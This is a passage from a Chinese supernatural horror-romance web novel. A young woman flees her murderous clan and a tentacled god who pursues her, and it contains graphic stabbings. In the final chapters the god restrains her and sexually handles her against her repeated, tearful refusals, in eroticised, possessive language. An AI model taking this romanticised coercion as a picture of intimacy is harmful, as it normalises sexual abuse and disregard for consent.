沙发、茶几底下、餐桌下、橱柜、书房、杂物间…… 有几次,触肢几乎擦着楚黎的脸庞游过。 她不得不频繁转换躲藏地点,黑暗里不时亮起一簇火光,手中的符篆迅速消耗。 从一楼躲到顶层阁楼,她终于短暂甩脱那群触肢。 阁楼堆满弃置的家具与杂物,大多蒙着白布,一扇灰蒙蒙的天窗开在屋顶,几缕黯淡月色映入。 楼下不断传来翻找声,时远时近。 汗珠顺着脖颈流淌,楚黎略微平复狂乱心跳,手中捏着两张符篆,一张明黄一张赤红。 明黄是最后一张隐符,在她指间燃烧殆尽,暂时遮掩了她的气味。 楚黎压住脚步,快速寻找一番,目光锁定了靠角落的陈旧木柜。 柜门上挂着一把老旧的锁,柜子背后的木板已经开裂腐朽。她小心翼翼取下半块,安置在角落。 又取白布盖住柜子,从后面钻入。 这样一来,从外面看它就是一个上锁的、没有藏人的老旧柜子。 * 月逐渐西沉。 翻找声越来越没有章法,所过之处满地狼藉。 阁楼的门轰然倒下,漆黑触肢暴力扫开碍事家具,掀起烟尘。 脚步声逐渐走近。 “黎黎,没必要躲了。”祂像是追魂索命的恶鬼,“我知道你在这。” 觋楚一把拽开弃置衣柜。 里面空空如也,只有几包失效的樟脑丸。 “砰!”木柜被烦躁的触肢拍得四分五裂。 脚步声停在了楚黎所在的旧木柜。 半米之隔,楚黎蜷缩身体,紧贴木柜内侧,用尽全力才让自己不发抖。透过柜门缝隙,她看见了停留的身影。 心跳震耳欲聋,强烈到她担心会传出去。 隐符还没失效,只要觋楚没有打开她的藏身之处,就不会感知到她的气息。 前提是,祂不会打开这个柜子。 那道身影只停留了很短暂的时间,脚步不停走向阁楼深处。 这层阁楼占地两百多平方,触肢快速搜寻了一圈所有疑似藏身的地方,在一无所获后,脚步声远去了。 ……走了。 得换个地方,祂一直找不到,很快会起疑心回来的。 楚黎捏着最后一张符篆,手心出了许多汗。 余光不经意瞥到木柜缝隙。 缝隙外,青年面庞俊美,眼睛狭长幽深,没有瞳光,直勾勾与她对视。 “咯吱”老旧的锁被轻而易举捏成铁片,随意扔开。 最后一道防线拉开,冰冷的手托起她的脸。 祂微笑:“原来躲在这。” 木柜轰然贴上阁楼墙面,背后的路被堵死,柜内空间狭小,容纳一个人都勉强。 一只手撑在楚黎身侧,觋楚单膝挤入,将狭小的空间变得更加逼仄。 手指顺着她的眉骨下滑,点在她的喉咙上。 有一瞬间,楚黎感觉自己的灵魂已经离体了,视线从空中向下看,木柜里两具身躯贴得很近。 祂的眼神阴暗黏稠,像志在必得的狩猎者,俯视垂死挣扎的猎物。 活下去。 至少活过今夜,报完父母的血仇。 这个念头像火星抛入身体,她甩出了手中的最后一张符篆。 这是一张破魔符,明菩伤重未愈,只勉强画出两张给她,现在到了不得不用的时候。 金光在红符上流转,瞬间变得璀璨。 “轰——”“滋滋!” 觋楚被巨力弹开,捏造的人类皮囊瞬间瓦解,露出不可名状的本相。 “很、好。” 黏稠雾气蠕动,像是被短暂困在了原处。 楚黎头也不回,迈动疲软的双腿冲出阁楼,向楼下狂奔。 “咚、咚……” 奔跑声与心脏跳动声奇异重合。 冷白月光斜斜映入狼藉别墅,窗外的月即将彻底西沉。 阁楼传来巨响,那只怪物挣脱了束缚,愤怒追逐而来。 眼前的场景,与楚黎之前的噩梦逐渐重叠。她奔跑在漆黑的走廊上,惨白月光照入,身后的触肢游动声如影随形。 楚黎扶住扶手,正要从二楼翻下,一条触手倏地游来,冷冰冰缠上腰肢向后拖拽。 一只手钳住她的肩膀,另一只扼住她的喉咙。后背贴着冰冷身躯,气流拂过耳廓,耳垂忽然刺痛。 觋楚舔咬着那块软肉,眼底情绪翻涌,一字一句道:“捉迷藏结束,抓到了。” 脖子上的手收紧了几分,楚黎开始喘不上气,奋力挥动铜钱剑往后戳。 “铛!”触肢精准将其击落。 楚黎腰间一紧,视线天旋地转,人已经坐在走廊扶手上。 黏稠黑雾蚕食周围的一切,转眼间别墅消失,只剩眼前的一小段走廊以及走廊扶手,左右与身后都是望不见底的深渊。 觋楚站在她身前,单手搂住她的腰身,成了维系平衡的关键。 “跑啊。”祂轻声说,“怎么不跑了?” 楚黎咬牙避开祂的触碰,“你到底想干什么?” 这种猫抓老鼠的游戏,她一点也不想再玩下去了。 觋楚低笑一声,手指掐住她的下巴,强迫她扭过头对视。 “我想干什么?”祂的声音轻柔,带着令人毛骨悚然的寒意,“楚黎,是你先背诺。” 冰凉指腹在她唇上重重碾过。 “你答应过我,会来送礼道谢。来了吗?” “你说,有礼物要赠我,送我的是什么?” “你答应与我订婚,邀来的宾客是谁?” 三句质问,语气一句比一句阴沉。 楚黎呼吸一滞。 祂附身靠近,气息冰冷,贴着她的耳畔低语:“你不仅背诺,还一次次想杀我。” “换成别人,已经死了千千万万次。我对你已经足够宽仁,可你总是令我失望。” 五指握住楚黎的脖颈,她艰难呼吸着,声音从齿缝挤出:“宽仁……” “胁迫、恐吓、从来没有考虑过我的意愿……这就是你的‘宽仁’、你的好,难道我应该感谢你?” 厌恶的、没有一丝悔意、清亮倔强的眼神。 觋楚的脸庞下有异物蠕动,怒意几乎要撕开这幅人类皮囊。 “不需要我,是吗?” 祂毫无征兆放开手。 那一瞬间像慢放电影,一帧一帧拉得极长。 楚黎后仰着往下跌,本能的求生欲迫使她胡乱伸手去抓,不知勾到什么,下坠的冲力一停。 “呼呼……” 被冷汗浸湿的发丝凌乱贴在脸颊上,楚黎目光发直,手脚冰凉发麻。缓了很久才回过神,发现被自己勾住的,是觋楚的脖颈。 对方的手撑在她两侧,眼神幽暗至极,没有丝毫要帮忙的意思。 仿佛楚黎真的掉下去,祂也乐见其成。 背后是看不见底的深渊,楚黎不得不更用力搂住祂的脖子。 潜伏在下面等着接人的触肢们悄悄游走。 很快,她手臂酸麻,开始无法支撑全身的重量。 觋楚由始至终盯着她。 楚黎知道,祂在等她开口。 酸麻的手臂完全滑落,失去支撑的她闭眼往后摔去—— 彻底后仰坠落那刻,一只手粗暴扣住楚黎的后颈,另一只手勒住她的腰,冰冷气息重重碾过唇瓣。 舌尖强硬顶开齿关,用力吮吸唇舌,似乎要将她囫囵吃下。 楚黎感受到了这个吻中的暴怒、杀意、不甘…… 以及,妥协。 她赌赢了。 日月交替,漫长的梦境开始瓦解坍塌。 觋楚重重咬了一口她的唇,鼻尖相抵,眼神恐怖得像要吃人。 “你最好,永远也没有求我的那一天。” 第30章 第三十章 奔向祂 明日过后就是举行祭礼的日子, 本家的气氛越发肃穆紧张。 从昨天开始,无论是本家族人或是旁支,都开始斋戒。大傩去了祭堂, 需戒食奉神三日。 按往年惯例,祭礼前七日,就会擢选出四位神侍。 神侍擢选条件严苛, 需不超过十八岁,样貌端正。 对楚氏族人来说, 家里出了神侍, 是无比风光的事, 会得到很多实质性的好处。 因此每年祭礼, 旁支们都会争着让家里适龄的孩子被选上。 今年的擢选名单迟迟没有公布,直到今天早上才发出—— 今年所有回来参加祭礼且符合条件的旁支, 都将成为神侍。 * 楚黎昨晚在梦里生死逃亡, 睡醒的时候,楚若映已经出门了。 嘴唇又麻又痛, 伸手一摸, 摸到唇角结了一小块血痂。 她心情很糟地离开暗室, 在厨房里找到了小姨留下的早饭, 鸡蛋小葱烙饼和玉米粥。 今晚是动手的时间。 虽然胃口不佳, 她还是尽可能逼自己多吃, 保持良好的体力和精神状态。 吃了一半, 小院大门被用力拍响。 楚黎一开门, 看见的就是脸色青白、六神无主的楚雀伶。 “青玉、青玉……”她的眼泪像雨珠不停掉落,“我们在神侍名单上面!今年符合条件的旁支,都要去侍奉傩神!” “我爸妈知道了,他们很开心……可是、可是我不想去啊, 我不想死……” 楚黎的脑袋空了一下:“为什么?” 楚雀伶泣不成声:“今天一早,傩侍说因为傩神大人震怒,需要表达楚氏的诚心,平息祂的怒火,否则楚家将不再得到庇佑。符合条件的旁支,有六十多个。” “脑子长泡了吧!”楚黎脱口而出,忽然想起楚青玉的人设,强行压住怒气,“他们为什么认为这样能平息傩神的怒火?” 而不是一次性捏碎所有神侍的脑袋? 楚雀伶没注意到她骂了人,抽噎道:“每年的神侍被送上神山之后,都没有下来过……青玉,我们会死的,怎么办啊……” 眼前的小姑娘不满十八,在大山外,还是读高中的年纪。 楚黎抹去她的眼泪,弯了弯眼睛:“没事,会有转机的,你回去等消息。” 楚雀伶惶惶不安的心神奇地安定下来。 “青玉,谢谢你。”她握住楚黎的手,“如果有我能帮得上忙的,一定要告诉我。” 送走楚雀伶后,楚黎坐在院子里发呆,剩下的早饭逐渐冷透。 太不对劲了。 明知神侍送去,并不会消弭神明的怒火,但依然要送,还要送更多。 在楚家呆了几天,她发现这里的人没有想象中那样坏。 厨房大姨私底下给她塞过好吃的糕饼,路遇的旁支采了许多野花,分了她一束…… 这里的大部分都是普通人,被长期洗脑,心甘情愿把自己放在低人一等的位置,被驱使被奴役。 最可恶的是大傩,以及大傩身边那群掌握权力的本家人。 他们比楚黎想象中还要冷血无情。 必须除掉大傩。 楚黎攥紧掌心,在过往二十年里,她从来没想过自己会有要杀人的那一天。 她打开手机,今天是九月十一号,学校已经开学了。在来楚家之前,她向导员申请了休学。 深山里没有网络,她默默翻阅相册,那些熟悉的人或者景,仿佛已经是上辈子的经历。 翻了很久,楚黎翻到了与家人的合照。 父母搂着她与楚悠,四人对着镜头笑容灿烂。 一滴水珠砸在屏幕上,楚黎平静抹去了眼尾沁出的泪。 她很清楚,无论成功与否,都回不去从前的城市、以前的生活。 但她不后悔。 * 深夜,山中下了一场细雨,淡淡雾气笼罩沉睡的建筑群。 一簇火光冲天,将半边黑夜映得通红,火焰吞噬木材建筑,并迅速蔓延。 “咚——”悠长的青铜钟声在夜里敲响。 喧闹声、打水声、奔跑声打破寂静夜色。 楚若映穿过混乱人群,穿过几重大门,只抵祭堂门外。 祭堂附近环境清幽,门口只有身为傩侍的楚承禾守在门外。 “大傩在奉神,你来干什么?”楚承禾与她向来水火不容,把她视为争夺小傩位置的劲敌,语气又冷又冲。 楚若映指了指不远处通红的天:“起火了,我来通报。” “起火了又怎样?“他满脸不耐烦,“巡卫的人会处理,多大的事你要惊扰大傩?” 楚若映沉下脸:“是存放祭礼傩面的小楼起火,我怀疑有人搞鬼。” “ ……什么?!”楚承禾如遭雷劈。 祭礼所用的傩面是特殊的,后日是祭礼,现在毁坏,只剩一天时间赶制是绝对来不及了! 不等他反应过来,苍老的声音从祭堂里飘出:“族里出了内鬼,你跟着司祭去查。” 大傩发话,楚承禾只能点头领命。 路上,他满脸戒备留意楚若映的一举一动,直接道:“分开查,你去查起火原因,我查今天进出、经过小楼的人。” 两人一同跨过几重大门,高大石墙遮蔽月光,空气里浮动着很浅淡的香气。 似乎是楚若映衣服的熏香。 楚承禾看不清她的表情,只听见她说:“傩侍是在怀疑我?” “你多想了。”他皱了皱鼻子,冷冰冰搪塞。 实际上,他确实怀疑楚若映贼喊捉贼。几年前大傩亲自出山去捉前任小傩楚若羡以及她女儿楚黎,本是极为隐秘的计划,瞒着楚若映进行,怕她泄密。 对方却那样恰巧,将楚黎送去旅行。还在当日恰好在废弃工厂勘察,最终引爆了废置燃料,整座工厂被夷平大半。 是他命大才侥幸逃脱,护着大傩回到本家。 楚承禾一直怀疑是楚若映提前察觉了,并通风报信。可没找到证据,定不了对方的罪。 石墙的影子高低错落,视线时明时暗。 “楚承禾。”楚若映用平常语气缓缓道,“有个问题,我想问你很久了。” 一截雪亮刀刃锁住月光,直捅楚承禾心口。 他正在回忆往事,忽然被打断,反应慢了片刻,余光瞥到亮光,反应迅速后撤。 “……你果然!”身后是高墙,他急急拧身,还是被刀刃刺中肋下。 血腥气弥漫。 第二刀毫无停顿刺下,楚承禾心中天人交战,在电光火石间做出决定—— 他不躲不避,拽住腰间挂的铜铃,急促摇晃。 然而,他的动作不知不觉中变得迟缓,摇响前一刻,铜铃被刀刃挑飞,咕噜噜在地面滚动。 “噗呲!” 短刃笔直穿过心脏,将楚承禾钉在石墙上。 那丝浅淡的香气变得浓郁,他的手脚完全麻软,喉咙不断涌出鲜血,意识到楚若映是做足了准备要杀他。 “那些东西引爆之前,我姐姐还活着吗?” 楚若映掐住他的双颊,将他的颌骨捏到咯吱作响,“告诉我。” 楚承禾呼哧呼哧喘气,突然咧嘴笑了,语气恶毒:“咳咳……你果然、果然惦记着那个叛徒!我告诉你,引爆工厂之前,她和那个男人都还活着,他们是活生生被——” 楚若映握住短刃猛地拔出,刀刃划过他的脖子。 喷洒的鲜血染红了圆月。 * 奉神的祭堂不允嘈杂,楚承禾走后,这里没有第二个人留守。 巡卫十分钟一趟,距离下一次还有八分钟。 楚黎穿着黑袍,像一道没有存在感的影子,站在祭堂门外,手里攥着一把刀,刀柄咯得掌心疼痛。 第一次从梦境出来后,她留了两张隐符和一张破魔符,等的就是今晚。 一门之隔,大傩就在里面供奉神明。 ——踢门,冲入,从背后刺中要害,拖到楚若映来支援。 楚黎默默温习了流程,深深吸了一口气,兜帽下的眼睛亮起浓烈恨意。 “砰——!” 祭堂里烛光摇晃,瘦小身影一动不动跪坐在软垫上,面对着红布遮盖的神像。 楚黎的心跳快到极点,握着短刀直扑过去。三步,两步,刀尖捅进瘦小身影的后背! “噗!” 刀刺入了一团松软干燥的东西。 大傩从神像后闪出,暗红拄拐毒蛇般伸出,敲在楚黎持刀的手上,剧痛传来,她咬牙强忍着不松手,握刀往身前一扫。 刀刃见了血,傩面摔在地上,露出了一张无法形容的脸。 苍老的面皮深深耷拉,老得行将就木。 但那不是一个人的脸,它扭曲蠕动变幻着,仿佛由无数张人脸构成。 拄拐挑飞了楚黎手中的短刀,大傩肩头汩汩流血,视线锐利毒辣:“你不是楚青玉。”苍老古怪的笑声回荡,“我等你,等了很久了。有了你,这次的祭礼才能完整。” 说着,大傩的手五指如鹰爪,朝楚黎的头骨抓去。 “你的蛊不听话了,让我给你来重新种一个!” 一道身影滚入,扑开楚黎。 楚若映拽下铜铃猛地晃动,铃音像追魂索命,搅得人头晕脑胀。 大傩的动作迟缓了片刻,雪亮刀刃上挑,她的三根手指滚落在地上。 楚若映半边脸都被溅上血,像是煞神转世,看见大傩的脸,她只愣了一瞬,又是一刀捅进大傩腰侧。 “叛徒!”大傩的拄拐砸中楚若映的肩膀,骨头咔嚓一声。 楚若映笑容森森,刀刃在伤口里狠狠一拧:“替我姐姐还的!” “太天真了。”大傩嘴唇瓮动,诡异咒语念出,身上的伤口血肉蠕动愈合。 楚若映捂住胸口,皮肤下凸起数条黑线,转眼爬到了脖子! 是巫蛊。 她从没发现自己被下过巫蛊。 “你姐姐背叛了我,你以为,我会不防着你?”大傩嗬嗬笑着,游动的丝线从拄拐顶端的蛇口吐出,丝线殷红,颜色浓郁到像吸满了血。 红线朝两人悍然卷去! “走!”楚若映抵抗巫蛊的操纵,抱住楚黎从高窗摔下去。 窗外是湿漉漉的草丛。 楚若映当了缓冲垫,落地时闷哼一声。楚黎顾不上头晕,连忙爬起来:“小姨,小姨!” 黑线已经爬到她的脸上,有几分骇人。 “巡卫来了,我去引开人!”楚若映用力抚摸她的脸,擦去泪痕,“祭礼没过,她不会杀我,别怕,快跑!” * 三声青铜钟响在深山里回荡。 沉睡的建筑群接二连三亮起灯,楚氏族人奔走在街道小巷,全力搜捕两位叛徒。 楚若映之前设计纵的火还未扑灭,延绵了数十米如同冲天火墙。 喊叫声与犬吠声从四面八方传来。 “这边!”有人大喊,“往这边去了!” 楚黎转身冲入狭窄巷道,飞快点燃了最后一张隐符,追踪的猎犬很快失去目标,在原地闻嗅打转。 火把的光在黑夜里此起彼伏。 她忍着逃跑时受的各种摔伤、撞伤,贴着巷子石墙挪动。 只要不是迎面撞上人,她的踪迹就暂时不会暴露。 可是,又能躲去哪呢? 山门已封,就算逃过今夜的搜查,她也无法离开深山。 楚黎躲在巷子里,四周嘈杂的搜寻声渐渐远离,隐符也快要失效。她不得不寻找一个更安全的躲藏地点。 她谨慎踏出小巷。 不远处,举着火把的数人迎面走来,楚黎立刻闪回巷子中,祈祷着这群人赶紧离开。 猎犬躁动不安,仿佛闻到了什么。 “好像在这,不知道藏在那里!”他们拽着一条猎犬,在四周细致寻找。 一支火把举到巷口,刹那间四目相对。 跳跃的火光与楚雀伶的脸倒映在楚黎眼中。 她眼中有挣扎,但很快就变得坚定。 “跟我来……”楚雀伶无声动了动嘴唇,悄悄回头望了一眼同伴,见无人注意这边,忽然拽起她的手。 巷子外堆着不少又深又宽的竹筐。 楚雀伶心脏砰砰跳,用最快的速度将人藏进竹筐堆。 猎犬更加躁动,吠叫着往这边奔跑。 “快!快来,从巷子里跑出去了!”楚雀伶高声叫嚷,尾音发颤。 竹筐倒扣,楚黎透过编织缝隙,怔怔看着腼腆胆小的女孩扬着火把,领着几人与猎犬冲进小巷。 脚步声与火光逐渐远去。 这样的方法骗不了猎犬太久,隐符已经彻底失效了。 楚黎拨开竹筐,目光落在不远处的杉木林。 那里,是楚家人不敢踏足的地方。 * 夜风呼呼从耳边吹过,肺部的空气越发稀薄,楚黎的喉咙泛起铁锈味,双腿已经失去知觉。 青黑石阶弥漫着淡淡雾气,如同没有尽头。 她踉跄奔跑,身后的火光连成摇曳的海,夹杂着疯狂的犬吠。 楚黎想起了母亲抱着年幼的她出逃的那个夜晚。 那时,母亲带着她要逃离神明所在之处。 现在,她要去到那个地方。 追捕的人不清楚楚黎在想什么,在他们眼里,这就是在找死。 大傩下了死令,必须活捉。 石阶终于抵达尽头,淡淡雾气中,神祠伫立在夜色里。 不同于白日的神祠,夜里的它没有朱红大门,而是如同楚黎梦中所见,是一扇由无数傩面构成的高耸大门。 它们如同封印,锁住供奉的神明。 “咯吱——” 沉重大门被某种力量撕裂,缓缓向两边打开,迎接来客。 门后是肉眼无法穿透的浓黑。 整座山仿佛陷入寂静,听不见一丝一毫的声音,只有楚黎急促的呼吸与狂乱心跳。 汗顺着脸颊流淌,她站在最后一级石阶上,如同站在悬崖。 无论前进,或者后退,都是看不见底的深渊。 “在那!”一声大喝惊醒了楚黎。 她回身望了一眼,憧憧火光逼近,映出许多张凶神恶煞的脸。 这就是与她血脉相连的族人。 楚黎回头踏出一步。 两步、三步……黑裙如一阵风,消失在了幽深大门之后。 “砰!” 神祠大门轰然关闭。【你现在阅读的是 】 30-36 第31章 第三十一章 触肢 神祠大门在身后合拢, 地面墙壁都在颤动。 “砰——!” 那声巨响撞在楚黎的耳膜上。最后一点外界的光源彻底消失,浓稠黑暗如同墨汁,瞬间将她从头到脚浸没、包裹、吞噬。 这不是普通的黑暗, 连自己的手指贴在眼前都无法看见。 绝对的死寂紧随而来。 没有风声,没有虫鸣,没有远处楚家人追捕的喧嚣。她的喘息声和心跳声, 在这片死寂中被无限放大,心脏在胸腔里狂跳, 一下, 又一下, 震得肋骨生疼。 空气阴冷, 像一座陵墓,冻得她起了一层鸡皮疙瘩。 楚黎下意识地后退一步, 身后的大门质地冷硬, 寒气透过被汗浸湿的衣服,一点点附着在皮肤上。 在进来的瞬间, 她就后悔了。 大门背面刻满凹凸不平的古老纹路, 仿佛随时会活过来咬住她的手指。 楚黎僵在那, 不敢动, 也不敢发出声音。 ——祂就在这里。 这个认知让她每一寸皮肤都绷紧。 逃进来是为了躲避追捕, 可来到这里……就会比被楚家人抓住好吗? 黑暗中, 时间失去了意义, 每分每秒都变得很漫长。 楚黎背靠大门, 指甲深深掐进掌心,试图用疼痛减淡恐惧。铜钱剑在跳窗逃离时遗落了,符篆也已经用完。此刻,她一无所有, 面对的不是神明分身,也不是梦境中的祂。 而是,神明的本体。 “嗒。” 一声轻响,突兀地打破了死寂。 不是脚步声,更像是某种粘稠液体滴落在地面。 楚黎屏住呼吸,心脏几乎要冲破喉咙。来了! “嗒…嗒…嗒……” 那声音不急不缓,带着一种令人毛骨悚然的韵律由远及近。它们不是来自一个方向,而是从四面八方传来,仿佛有无数个东西在黑暗中同时逼近。 冰冷滑腻的触感毫无预兆地缠上了她的脚踝! 楚黎短促地惊叫一声,像被毒蛇咬中般踹去。 但是晚了。 更多冰冷柔韧的“肢体”从黑暗中探出,如同活着的藤蔓,精准地缠绕上来。 它们缠紧白皙的脚踝,从长裙裙底钻入,沿着小腿向上攀爬,瞬间剥夺了她行动的能力。 楚黎其实很怕温度低的软体动物。 例如蛇、章鱼、海葵等等。 觋楚明白她不喜欢,因此一般情况下,祂不允许触肢出现与触碰。 很显然,祂今天不打算善解人意。 楚黎拼命挣扎,胡乱地撕扯缠在腿上的东西。它们触感滑腻坚韧,表面有细微的鳞片状纹路,她的指甲抠上去,无法造成任何伤害。 “……放开!” 又一条触肢缠上来,紧紧缠住腰肢,那力道勒得她几乎喘不过气。挣扎的幅度被强行限制,只剩下徒劳的颤抖。 楚黎呜咽一声,眼泪不受控制地涌出眼眶,顺着冰凉的脸颊滑落。 浓稠的黑暗开始涌动、凝聚。 先是修长的双腿轮廓,然后是窄瘦的腰身,宽阔的肩膀,最后是那张俊美如雕塑的脸。觋楚无声无息地出现在她面前,微微抬手,黑暗散去些许,让她能勉强视物。 楚黎对上祂那双眼睛,像深不见底的黑洞,翻涌着她难以理解、却本能感到恐惧的粘稠情绪。 冰冷指尖抚上她泪湿的脸颊,动作甚至带着一丝诡异的温柔,为她拭去将落未落的泪珠。 “黎黎。”祂的声音低沉喑哑,每一个字都清晰地敲在楚黎紧绷的神经上,满足喟叹道,“这次是你自愿来的。” 指尖顺着她的脸颊缓缓向下滑动,如同蛇类游走,掠过她剧烈起伏的锁骨,带着一种慢条斯理的、折磨人的狎昵,最终停留在她因急促呼吸而不断起伏的胸口。指腹下,是正在疯狂跳动的心脏。 “害怕?”觋楚似笑非笑,“我可比你的族人好得多。看你弄得多狼狈。” 两根手指抵在楚黎唇边,用力撬开牙齿,挤入温热口腔。 熟悉的腥甜味道顺着舌根流向喉管。 “唔唔……!”她忍不住反胃,用手去推觋楚的手腕。 祂轻而易举捉住她的两只手,用力压在门上,同时两根手指紧压舌根。 “咽下去。” 楚黎吐不出来,只能被迫吞咽,甜腥液体咽下后,身上那些逃跑时留下的大小伤口迅速愈合,像从未存在过。 修长手指抽离口腔,带出一丝透明丝线。 她眼睁睁看着觋楚将手指凑到唇边,伸出舌尖,将它们完全舔舐干净。 “……”楚黎瞳孔震颤,从手指到头皮都在发麻。 觋楚扣住她的手腕,垂眼望来:“黎黎,你来祈求什么,庇护或是其他?” 小腿根处的触肢缓慢缠绕,卷住大腿。楚黎颤了一下,现在的姿势太糟糕了,很像砧板上的鱼。 “……力量。”她强迫自己开口,“我要杀大傩,破坏祭礼。” 还要救出小姨,以及那些要被莫名献祭的几十个旁支。 她要让这个罪恶腐朽的古老家族消失。 漂亮的、含着一点水汽的眼睛望向祂,带着几乎令人沉沦的祈求:“觋楚,帮帮我。破坏祭礼之后,我会想办法破坏这里的封印,永远陪在你身边。” 触肢的力度有些失控。 觋楚紧盯着楚黎,盯着那双过分漂亮的眼睛,以及吐出甜蜜语言的唇。 她的话像甜蜜糖浆,令祂产生了类似于晕眩的感觉。 祂俯下身,滚烫的吐息抵住她的唇:“可以。”没想到祂答应得如此轻易,喜悦瞬间席卷楚黎,但下一刻,祂再次开口,带着点微妙的、毛骨悚然的笑意,“但是黎黎,向神明祈愿需要献上贡礼,你的贡礼是什么?” “以及,我们该算一算之前的账了。” 随着祂的话音落下,触肢替代了觋楚的手,将她的双腕禁锢在头顶。 其中一条缠绕在腿上的触肢,顶端裂开幽蓝缝隙,探出细密柔软、类似舌尖的末端,开始缓慢而执着地舔舐细腻皮肤。 那感觉诡异至极,带着一种湿漉漉的探索意味,仿佛在品尝稀世珍馐。 “不……那是什么东西!”楚黎猛烈挣扎,未知的恐惧像潮水般涌来。 “嘘……”觋楚的指尖抵住了她的嘴唇,冰冷而强硬。深不见底的黑瞳中翻涌的粘稠贪欲几乎要溢出来,牢牢锁住她惊恐的双眼,“它们属于我的一部分。” 祂的声音压得更低,如同诱哄:“别害怕,不会伤害你。” 那条触肢并未因她的挣扎而停止,沿着她光滑的小腿曲线一路向上探索,濡湿触感清晰地留在在皮肤上。另一条原本缠绕在她腰间的触肢,则如同灵活的手指,去勾缠她裙摆的边缘,以令人心惊的缓慢速度向上卷起。 楚黎的身体瞬间僵直如冰雕,连颤抖都停止了。 “不……”她的声音细弱蚊蝇。 眼泪大颗大颗地滚落,无声地滑过脸颊。喉咙像是被一只无形的手扼住,连一丝呜咽都发不出来。 觋楚动作一缓,冷漠看着楚黎。 杀了她。 这个念头曾多次在觋楚心中升起。 祂本应杀死每一个楚家人,作为他们叛神囚神的代价。 祂为楚黎破例。 可眼前这个对祂而言弱小的人类,一再蒙骗背叛祂,她应该死在祂手里,哪怕不杀死,也要给予恐怖的惩罚,将她永远、永远囚禁在身边。至于她的意愿,半点也不重要。 而不是像现在这样,温言好语,甚至维持着一副人类的皮囊。 觋楚眼神幽暗,手拢住纤长的脖颈。 眼泪顺着脸庞滚落,砸在祂的腕骨上,温度很低,但模拟出来的人类皮肤好像被灼烧过。 握住脖子的手僵住了,过了片刻,自暴自弃般松开,近乎粗鲁抹去楚黎接连不断的泪。 禁锢住楚黎手腕的触肢悄悄松开,祂一只手扣住她的后颈,另一只手捧住她的脸,抵着鼻尖,含住她的唇。 一个温柔强硬的吻。 由浅至深,舌尖舔舐唇瓣,挤入齿间,无视她的推拒,缓慢纠缠,抢夺楚黎的一切注意力。 楚黎推搡的力度慢下来,空气被掠夺,轻微窒息感令她有点晕眩。 卷起裙摆的触肢已经将布料推到了膝盖上方,冰冷空气直接接触皮肤,让她不自觉打了个寒颤,下意识想并拢双腿,却被另一条触肢强硬阻止。 抚摸楚黎侧脸的手下移,指尖划过她锁骨的凹陷处,然后是纤薄的肩膀。他的动作很慢,如同在丈量珍贵宝物,当手指按住领口的第一颗盘扣时,楚黎从晕眩中回过神来,用力抵住觋楚的肩膀。 “不行……唔!” 对方扣住她的后颈,唇舌纠缠更深,将没说完的话咽下。 第一颗盘扣被解开。 第32章 第三十二章 占有 盘扣短衫的衣襟微敞。 裸露的皮肤一颤, 楚黎抵在觋楚肩膀上的手更用力了,指甲几乎要陷进他模拟出来的人类皮囊。 “不……” 拒绝的话刚出口,就被更深的吻堵了回去。温热舌尖强势地扫过上颚, 掠夺本就稀薄的空气。楚黎被迫仰着头承受,眩晕感越来越重。 在她缺氧到眼前发黑时,纠缠的唇舌才略略退开一丝缝隙, 让她得以喘息。但紧接着,祂的唇继续压下, 冰凉手指按在第二颗盘扣上。 “啪嗒。” 细微的声响在寂静神祠里异常清晰。黑色短衫向两边滑开更多, 露出肩膀的细腻肌肤, 在黑暗里白得晃眼。 怪物眼中那些黏稠阴暗的情绪几乎满溢。 祂的手指没有直接触碰皮肤, 只是沿着敞开的衣襟边缘,缓慢地地滑过。冰冷触感像一条蛇在爬行, 激得楚黎阵阵战栗。 “唔!”楚黎用力扭开头, 唇瓣被吮得发红,湿漉漉的。她不停喘息, 声音颤抖:“你说过……你说过不会伤害我。” 觋楚的动作顿了一下, 视线锁住她盈满水汽的眼睛。 “这不算伤害, 黎黎。”祂的声音低沉而平静, “是你自愿踏入, 将自己送到我面前。” 祂没打算给楚黎反悔的机会。 话音未落, 第三颗盘扣也被解开了。 黑色的盘扣短衫离开肌肤, 堆叠在楚黎腰侧。 纯白贴身衣物单薄地包裹着起伏线条。 视线一寸寸舔舐皮肤。祂不再满足于衣襟边缘的流连, 手指直接贴上了她锁骨下方裸露的肌肤。 楚黎浑身一僵,像被冻住。 手指沿着锁骨的线条缓缓移动,带来一种奇异的、混合着冰冷和轻微刺痒的触感。 这种缓慢并充满占有意味的触碰,比粗暴的撕扯更让她感到恐惧和耻意。她下意识想躲避, 但腰肢和大腿被触肢缠住,动弹不得。 觋楚的另一只手绕至她身后,解开纤薄背脊上的束缚。 触肢似乎也感受到了本体的意图。不再满足于小腿,游动舔舐,濡湿的触感像无数深海生物在皮肤爬行。 阴冷的空气无距离爬过身前的皮肤。 楚黎的喉咙像吞了石头,发不出半点声音,令人头皮发麻的恐惧感将她淹没。 她急促呼吸,胸口起伏不定。 觋楚注视着雪白皮肤上的一道暗红,它在心口下一寸,形状似衔尾蛇,那是独属于祂的痕迹。 “我的。” 冰凉触感按在暗红印记上,指腹轻轻摩挲。 楚黎猛地闭上眼睛,身体紧绷。 心中最后的防线摇摇欲坠。 觋楚的动作忽然停下,俯下身,祂的唇落在纤长脖颈上。 不像是一个吻,更像是一种烙印。薄唇贴着她温热的皮肤,轻轻吮吸了一下。 陌生怪异的触感击溃了最后防线。 “啪!” 楚黎大脑空白,胸口随着喘息剧烈起伏,掌心痛到滚烫麻木。 怪物被扇得偏过头去,祂扭了扭脖子,将脸转回时表情不起波澜,平静地可怕。 “黎黎,这样只会打疼你的手。” 祂攥住楚黎发麻的手,手指强硬挤入指缝,十指相扣按在大门上。 “……滚、滚!”她费力挣扎,眼泪汹涌流淌。 柔软冰冷的发梢扫过楚黎的皮肤,留下轻微刺痒。 祂的鼻尖隔着阴冷空气,在锁骨处缓缓流连闻嗅。 楚黎发出一声短促的惊喘,身体不受控制地向后缩,撞在冰冷的门板上。 觋楚的唇舌不像外在皮肤那样冰凉,它是温热的。 细微电流在肌肤下流窜。 楚黎忍不住发出一声压抑的呜咽,唯一能动的手插入冰凉发丝间,攥出想要将祂扯开。觋楚察觉到她的意图,用牙齿轻轻厮磨。 “呃!”抓住发丝的力气瞬间泄了,手垂在怪物的头颅上,仿佛是在默许。 后背的皮肤贴着大门,身前身后冷热交加。恐惧与无法控制的生理反应重叠,如同刀刃上的蜜糖,舔舐时令人头晕目眩。 缠绕在楚黎腿间的触肢,带着一种令人战栗的探索欲,用力绞紧。 楚黎瞬间清醒过来。 “不行……滚、滚开!”她惊恐地尖叫,眼泪簌簌掉下。 